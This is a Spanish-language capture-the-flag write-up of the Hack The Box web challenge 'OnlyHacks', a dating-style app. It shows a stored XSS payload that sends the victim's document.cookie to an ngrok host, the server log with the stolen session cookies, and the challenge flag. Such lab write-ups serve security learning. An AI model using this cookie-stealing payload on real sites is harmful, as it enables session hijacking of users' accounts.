OnlyHacks
2 minutos de lectura
Tenemos el siguiente sitio web que nos redirige a un formulario de inicio de sesión:
Enumeración
Se nos permite registrar una nueva cuenta después de rellenar todos los campos:
Una vez que estamos dentro, vemos una especie de aplicación Tinder que nos permite hacer match con otras personas:
Podemos hacer match con todas, ¿por qué no? ¡Y parece que Renatta también hizo match con nosotros!
Seamos amables y digamos “Hola”:
Parece que responde muy rápido, con un texto generado.
Encontrando XSS
Como queremos comprometer el sitio web, veamos si el chat renderiza código HTML, usando <h1>asdf</h1>
como payload:
Oh, funcionó. Tal vez podamos aprovechar esta inyección HTML en un ataque de Cross-Site Scripting (XSS). Obsérvese que tenemos una cookie de sesión:
Ahora el objetivo es ejecutar un XSS en Renatta para tomar su cooke y secuestrar su sesión para ver sus chats.
Para esto, podemos usar un payload de XSS simple y un servidor HTTP local en Python expuesto con ngrok
:
<img src=x onerror="fetch('https://abcd-12-34-56-78.ngrok-free.app?c='+document.cookie)">
¡Y aquí tenemos la cookie!
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::1 - - [] "GET /?c=session=eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6IlJlbmF0YSJ9fQ.Z7YwXg.1ztGvcaBidMWWe2j_naqurzosFQ HTTP/1.1" 200 -
::1 - - [] "GET /?c=session=eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6IlJlbmF0YSJ9fQ.Z7YwXg.1ztGvcaBidMWWe2j_naqurzosFQ HTTP/1.1" 200 -
::1 - - [] "GET /?c=session=eyJ1c2VyIjp7ImlkIjo1LCJ1c2VybmFtZSI6ImFzZGYifX0.Z7YxFw.mFDCvLas_9EHC-zVD7ZvZKJnaPA HTTP/1.1" 200 -
::1 - - [] "GET /?c=session=eyJ1c2VyIjp7ImlkIjo1LCJ1c2VybmFtZSI6ImFzZGYifX0.Z7YxFw.mFDCvLas_9EHC-zVD7ZvZKJnaPA HTTP/1.1" 200 -
Flag
Ahora, podemos cambiar nuestra cookie de sesión y acceder a los chats de Renatta:
Y aquí tenemos la flag:
HTB{d0nt_trust_str4ng3r5_bl1ndly}